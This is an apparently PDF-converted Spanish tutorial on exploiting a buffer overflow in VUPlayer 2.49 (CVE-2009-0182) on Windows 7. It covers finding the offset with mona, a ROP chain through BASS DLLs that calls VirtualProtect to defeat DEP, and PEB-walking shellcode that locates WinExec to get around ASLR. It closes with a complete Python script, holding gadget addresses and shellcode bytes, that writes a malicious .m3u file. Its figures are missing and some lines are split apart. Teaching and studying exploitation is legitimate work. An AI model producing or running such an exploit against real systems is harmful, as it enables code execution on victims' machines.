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responsabilidad legal, de acuerdo a las leyes vigentes en su pas, por el uso de las
tcnicas experimentales, educativas y de investigacin aqu expuestas en materia de
explotacin especializada de sistemas. En caso de no estar de acuerdo con alguno de los
puntos descriptos, deber eliminar inmediatamente el presente documento y todo
material asociado al mismo. Este tutorial es solo con fines didcticos y como
conocimiento de la informtica en general, el
Autor de esta obra NO se hace responsable del uso indebido e ilegal de los
conocimientos aqu Expuestos.

Autor:
Contacto:
Twitter:

Guillermo Campillo
pekeinfo[at]Gmail[dot]com
@PekeinfoPkaos

Contenido
Prerrequisitos ................................................................................................................................ 3
Introduccin .................................................................................................................................. 3
Preparando el camino. .............................................................................................................. 3
Instalacin de Immunity debugger ....................................................................................... 3
Instalando y configurando mona .......................................................................................... 3
Instalacin de VUPlayer ........................................................................................................ 3
Conociendo el camino ................................................................................................................... 4
Qu es ASLR? ........................................................................................................................... 4
Mtodos para evadir ASRL ........................................................................................................ 5
Explotando la vulnerabilidad ......................................................................................................... 5
Entendiendo el fallo .................................................................................................................. 5
Creando el esqueleto del exploit. ............................................................................................. 8
Evadiendo la proteccin DEP .................................................................................................... 8
Creando la Shellcode ................................................................................................................... 10
Objetivo ................................................................................................................................... 10
Obteniendo la Imagen Base de Kernell32 ............................................................................... 10
Buscando la Export Table Address .......................................................................................... 11
Buscando la Direccion de WinExec ......................................................................................... 12
Obteniendo La direccin Real de WinExec ............................................................................. 12
Haciendo uso de de WinExec ................................................................................................. 13
EXPLOIT ....................................................................................................................................... 13

Prerrequisitos
Programa: VUPlayer 2.49
CVE: CVE-2009-0182
Sistema: Windows 7 64
Herramientas:
Immunity debugger con complemento mona.
Dificultad: Se necesitan conocimientos previos

Introduccin
Preparando el camino.
Instalacin de Immunity debugger
Bueno lo primero es instalar el Immunity debugger. Este tambin nos instalara python en caso
de no tenerlo instalado. Tras terminar la instalacin de Immunity debugger,
Instalando y configurando mona
Instalaremos el complemento mona, que podemos descargar desde el proyecto oficial.
http://redmine.corelan.be/projects/mona
Para instalarlo basta con descargarlo y copiar el fichero mona.py en la carpeta del Imunity
debugger. Por defecto es: C:\Archivos de programa\Immunity Inc\Immunity Debugger\PyCommands
Posteriormente configuraremos nuestro entorno de trabajo. Iniciamos el Inmunity y en la barra
de comandos ponemos lo siguiente: !mona config -set workingfolder c:\logs\%p. Sin comillas.
Esto nos generara un espacio de trabajo donde almacenara toda la informacin referente al
programa
Instalacin de VUPlayer
Este programa no requiere ninguna instalacin especial.

Conociendo el camino
Qu es ASLR?
Son las siglas de Address space layout randomization, consiste en colocar determinadas partes
de un programa en diferentes direcciones de memoria, haciendo ms difcil la tarea de
explotacin de un programa por parte de un exploit, esta tcnica fue publicada en el 2001 en pax
(http://en.wikipedia.org/wiki/PaX), pero realmente hasta el 2005 no se habilito por defecto en el
kernel, en 2007 Windows lo incluyo en su sistema operativo Windows vista, aun que el sistema
que usa Windows de ASLR no es igual que el del resto de sistemas operativos, en Windows el
ASLR se aplica a las localizaciones de: heap, stack, PEB y TEB.
Esto se traduce en que ya no se puede predecir en qu posicin estar la direccin de la funcin
a la que queremos llamar, si nos fijamos en alguno de los tutoriales mos anteriores veremos que
muchas direcciones son colocadas a mano como por ejemplo la de VirtualProtect, pero con
ASLR esto no lo podemos realizar de esta forma, un ejemplo de cmo afecta ASLR a la
creacin de shellcode pondremos una shellcode sencilla
Este es el cdigo que usare, simplemente hace un msg con el ttulo pekeinfo y el texto pekeinfo
XOR EAX,EAX
PUSH EAX
PUSH 696E666F
PUSH 656B6570
MOV EBX,ESP
PUSH EAX
PUSH EBX
PUSH EBX
PUSH EAX
CALL 760EFD56

Ahora bien si reinicio la maquina e intento lanzar nuevamente mi shellcode pasa lo siguiente.

Como vemos la direccin 0x76EFD56 que era la direccin de la API MessageBoxA, ha


cambiado. Y es ah donde nos afecta

Mtodos para evadir ASRL


Entonces como evadimos el ASLR? pues aunque hemos visto que ASLR nos dificulta la tarea
existen mtodos para saltarse esta proteccin entre ellos existe una manera que consisten en
lanzar mltiples veces un exploit hasta que d con la direccin correcta, esto en muchos casos
no es viable dado el problema de estabilidad que genera, pero es una opcin.
Otra opcin y la que se explicara en este documento es la obtencin de la direccin base de
kernel32 mediante PEB, esta tcnica se conoce desde antes del 2009, y bsicamente es obtener
la ImagenBase de Kernell32 mediante la estructura PEB para poder desplazarnos y obtener
alguna de las APIs que son ms interesantes como por ejemplo LoadLibraryA. En la imagen se
puede ver un resumen ms esquemtico de este proceso

Explotando la vulnerabilidad
Entendiendo el fallo
El exploit en esta ocasin es un exploit de tipo buffer OverFlow .

El poc es bastante descriptivo, el programa falla cuando intenta leer una url de un fichero pls,
pues vamos a ver como es un fichero valido pls, abrimos un fichero de texto y ponemos una url
valida, ejemplo: http://miwebvalida.net guardamos el fichero y renombramos el fichero como
pls, ahora abrimos el programa y abrimos el fichero

Bien ahora abramos el immunitydbg y creemos mediante mona un fichero de muchos


caracteres, yo he empezado con 1024 por probar,

Copiamos el buffer en nuestro fichero pls, y lo abrimos con el VUPlayer.

Ahora cogemos los dgitos amarillos y se lo damos a mona po 68423768

Con esto sabemos el tamao que necesitamos para sobrescribir el ret, el tamao es de 1012,
ahora solo nos queda encontrar el RET donde falla, abrimos el immunitydbg y cargamos el
programa, para encontrar el RET yo suelo ejecutar con normalidad el programa y espero a que
haga crash

Bien cuando el immunitydbg pare por la excepcin simplemente nos fijamos en el stack
subimos y la primera direccin del programa que veamos le ponemos un BP

Y vamos traceando desde esa direccin

Pues ya llegamos a nuestro ret,

Creando el esqueleto del exploit.


El exploit lo hare en Python por comodidad, y ser algo como esto:
import struct
rop =[]
shellcode="";
x = 0
f = open("vulnerable.m3u","a")
for x in range(0,1012):
f.write("\x90")
rop_gadgets = struct.pack("<"+("L"*len(rop)),*rop)
f.write(rop_gadgets)
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write(shellcode)
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")

Evadiendo la proteccin DEP


Para saltarse el DEP cree un documento donde se hablaba sobre el DEP y como saltarse esta
proteccin tan molesta por lo que en este documento no me centrare en cmo hacer el ROP
para saltarse esta proteccin.
Hare uso de mona para encontrar un rop funcional.

*Esto puede tardar bastante.


Tras esta operacin aparecern 4 ficheros. El que nos interesa por ahora es el
rop_suggestion.txt en el no dar un esqueleto que en algunos casos no har falta modificar.

En mi caso yo use uno que hice a mano por diversin, este es el ROP:

rop =[
0x10015f82,
0x1060e25c,
0x1001eaf1,
0x10030950,
0x10605ce4,
0x100222c5,
0x10015f82,
0xfffffdff,
0x10014db4,
0x10032f72,
0x10015f82,
0xffffffc0,
0x10014db4,
0x10038a6d,
0x10601007,
0x101082d3,
0x100190b0,
0x1001dc05,
0x10015f82,
0x90909090,
0x1001d7a5,
]

#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

POP EAX # RETN [BASS.dll]


ptr to &VirtualProtect() [IAT BASSMIDI.dll]
MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll]
XCHG EAX,ESI # RETN [BASS.dll]
POP EBP # RETN [BASSMIDI.dll]
& jmp esp [BASS.dll]
POP EAX # RETN [BASS.dll]
Value to negate, will become 0x00000201
NEG EAX # RETN [BASS.dll]
XCHG EAX,EBX # RETN 0x00 [BASS.dll]
POP EAX # RETN [BASS.dll]
Value to negate, will become 0x00000040
NEG EAX # RETN [BASS.dll]
XCHG EAX,EDX # RETN [BASS.dll]
POP ECX # RETN [BASSMIDI.dll]
&Writable location [BASSWMA.dll]
POP EDI # RETN [BASS.dll]
RETN (ROP NOP) [BASS.dll]
POP EAX # RETN [BASS.dll]
nop
PUSHAD # RETN [BASS.dll]

Lo aadiremos a nuestro esqueleto que hicimos anteriormente.

Creando la Shellcode
Objetivo
Obtener la direccin de winexec mediante la obtencin de la ImagenBase de la librera kernell32
y buscando su direccin en la Export Table, esta tabla contiene todas las direcciones de las
funciones que exporta una dll, bueno como comentamos en la introduccin para obtener la
ImagenBase Kernell32 necesitamos acceder a la estructura PEB que es la que contiene dicha
informacin y para acceder a la estructura PEB tenemos que obtener su direccin de TIB, esta
est siempre en FS:[0x30]

Obteniendo la Imagen Base de Kernell32


Esta parte quiz la primera vez suene muy enrevesada y liosa, por lo que la intentare explicar
paso por paso. La imagen de abajo muestra todo este proceso

Ponemos EAX a cero y movemos a EDI el contenido del puntero FS:[0x30]


No ponemos directamente 0x30 por que ocupa ms y tiene caracteres 00
Con esto estamos en el inicio de la estructura PEB si al puntero le sumaos 0x0c, no situaramos
en la estructura PEB_LDR_data, movemos el puntero a EDI
Bien ahora tenemos en EDI el inicio de la direccin PEB_LDR_data, en esta estructura hay una
direccin a otra estructura llamada InMemoryOrderModuleList esta estructura situada a un
desplazamiento de 0x14 y guardamos el puntero en EDI contiene los mdulos que hay
cargados en memoria
Bien ahora estamos en el inicio de la lista de mdulos que hay en memoria, el primero es el
imagenbase de nuestro programa, el segundo es el ntdll y el siguiente que es el que nos interesa
es kernell32 (si es en windows xp est en otro orden) si copiamos el siguiente cdigo en
nuestro cdigo y le damos a F7 veremos el listado completo en ECX se almacenara la direccin
base de las dll cargadas en memoria.

Volviendo a la shellcode como nosotros sabemos de antemano que dll queremos nos vamos
directamente a esta
Tras esto en EDI est la direccin base de Kernel32.
Una de las cosas importantes ahora es no perder la direccin de kernel32, yo uso la tcnica de
bloquear un registro, esto no es nada recomendable, lo suyo es usar el stack y almacenar en el
stack las direccin de todas las dll y dems cosas que necesitemos pero para este ejemplo
sencillo no complicaremos ms y bloquearemos el registro
Para trabajar con l lo desplazamos a EAX

Buscando la Export Table Address


Ya disponiendo de la imagen base recorreremos como si fuese un binario ordinario. Esto
quiere decir, que obtendremos la direccin de la cabecera PE, veamos el cdigo y expliquemos
como hacerlo.

Recordar que en EDI tenemos la direccin base de Kernel32, para no perder dicha direccin la
moveremos a EAX

Como sabemos para obtener el inicio de la cabecera PE hay que sumar a la direccin base un
desplazamiento este desplazamiento se puede encontrar en la posicin 3c por tanto:
Inicio PE = imagen base + [imagen base + 0x3C]
Por tanto sumando a EAX 0x3C, el valor lo colocamos en otro registro, ECX

Ahora en ECX tenemos el desplazamiento solo hace falta sumar la imagen base y ya
tendramos en ECX la direccin de inicio de la cabecera PE

Ya tenemos la direccin de la cabecera PE. Pero lo que nosotros queremos es obtener la tabla
donde est el listado de direcciones de las API . Para ello usaremos la estructura de la Export
table, que est en PE+0x78 (este es el offset luego a ese offset hay que sumar el imagen base),
esto lo conseguimos sumando a ECX 0x78 movemos el valor al que apunta a EAX y le sumamos
la imagen base.

DWORD
DWORD
WORD
WORD
DWORD
DWORD
DWORD
DWORD

Export Table Address


Characteristics
TimeDateStamp
MajorVersion
MinorVersion
Name
Base
NumberOfFunctions
NumberOfNames

0x0
0x4
0x8
0xA
0xC
0x10
0x14
0x18

DWORD
DWORD
DWORD

AddressOfFunctions
AddressOfNames
AddressOfNameOrdinals

0x1C
0x20
0x24

Buscando la Direccin de WinExec


En este momento es un poco ms enrevesado que lo anterior. Vamos a recorrer la Export Table
Address que est en EAX para encontrar la direccin WinExc, como nosotros tenemos el
nombre de la api que queremos buscar recorreremos la estructura mirando en AddresOfNames,
La idea es:
Iniciar un contador a 0 -> ECX
Colocar el inicio de AddresOfNames -> EDX = [EAX + 0x20]

Lo que contiene ESI es necesario Lo explico un poco ms abajo


Inicio Loop:
Desplazamos el puntero de AddresOfNames -> EBX = [EDX+ECX]
Aadimos A EBX la direccin Base -> EBX + EDI
Sumamos 0x4 al contador -> ECX + 0x4

Comparamos si EBX es WinExec


Si no lo es hacemos el loop
Y si lo es en ECX tenemos el nmero de desplazamientos que hay para WinExec
Para comparar si es la funcin que queremos en m caso WinExec necesitamos compara el
String que est apuntando EBX con WinExec
Como no podemos colocar directamente WinExec lo partiremos y comprobaremos por partes
primero WinE que es 0x456E6957 y si esto da positivo comprobaremos 0x00636578 con este
ltimo tenemos un problemita pues tiene 00. Pues esa es la razon por la que en la imagen de
antes hice eso con ESI, lo que hacemos es colocar en ESI 0xAAC9CFD2 y hacemos un XOR
con EAX y esta operacin da como resultado 0x00636578 con esta aclaracin ya podemos
entender que hace esto:

Cuando termine todo el Loop en ECX estar el desplazamiento necesario para obtener la
direccin real de WinExec, como ltimo apunte cuando tengamos el desplazamiento ECX
valdr 0x4 ms de lo que tendra que valer, por lo que hay que hacer un

Obteniendo La direccin Real de WinExec


A modo de recordatorio,
Export Table Address
Desplazamiento a la funcin
Imagen Base

EAX
ECX
EDI

Si miramos en Export Table Address esta AddressOfFunctions que es similar a AddresOfNames


pero en lugar de contener nombre contiene las direcciones de la api, el desplazamiento que
conseguimos antes ahora podemos usarlo para obtener la direccin correcta de la API
La idea es hacer:
Colocar en EBX el inicio de Export Table -> EBX = EAX
Desplazar EBX a AddressOfFunctions -> EBX += 0x1c
Sumar El imagen base -> EBX += EDI
Sumar El desplazamiento -> EBX += ECX

Y ahora ya tenemos en EBX la direccin de la api WinExec

Haciendo uso de de WinExec


Esto ya es como una shellcode normal y corriente colocamos en ESI la palabra en el stack
ponemos los argumentos y llamamos a EBX que tiene la direccin de WinExec

EXPLOIT
import struct
rop =[
0x10015f82,
0x1060e25c,

# POP EAX # RETN [BASS.dll]


# ptr to &VirtualProtect() [IAT BASSMIDI.dll]

0x1001eaf1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll]


0x10030950, # XCHG EAX,ESI # RETN [BASS.dll]
0x10605ce4, # POP EBP # RETN [BASSMIDI.dll]
0x100222c5, # & jmp esp [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f72, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
0x10601007, # POP ECX # RETN [BASSMIDI.dll]
0x101082d3, # &Writable location [BASSWMA.dll]
0x100190b0, # POP EDI # RETN [BASS.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0x90909090, # nop
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
]
shellcode="\x33\xC0\x64\x8B\x78\x30\x8B\x7F\x0C\x8B\x7F\x14\x8B\x3F\x8
B\x3F\x8B\x7F\x10\x8B\xC7\x83\xC0\x3C\x8B\x08\x03\xCF\x83\xC1\x78\x8B\
x01\x03\xC7\x8B\x50\x20\x03\xD7\x33\xC9\x8B\xF1\x81\xC6\xD2\xCF\xC9\xA
A\x81\xF6\xAA\xAA\xAA\xAA\x90\x8B\x1C\x11\x03\xDF\x83\xC1\x04\x81\x3B\
x57\x69\x6E\x45\x75\xEF\x39\x73\x04\x75\xEA\x90\x83\xE9\x04\x8B\xD8\x8
B\x5B\x1C\x03\xDF\x8B\x1C\x19\x03\xDF\x90\x90\xBE\xC9\xC7\xCE\xAA\x81\
xF6\xAA\xAA\xAA\xAA\x33\xC0\x89\x34\x28\xB0\x03\x50\x55\xFF\xD3";
x = 0
f = open("vulnerable3.m3u","a")
for x in range(0,1012):
print str(x)
f.write("\x90")
rop_gadgets = struct.pack("<"+("L"*len(rop)),*rop)
f.write(rop_gadgets)
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write(shellcode)
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")
f.write("\x90\x90\x90\x90")

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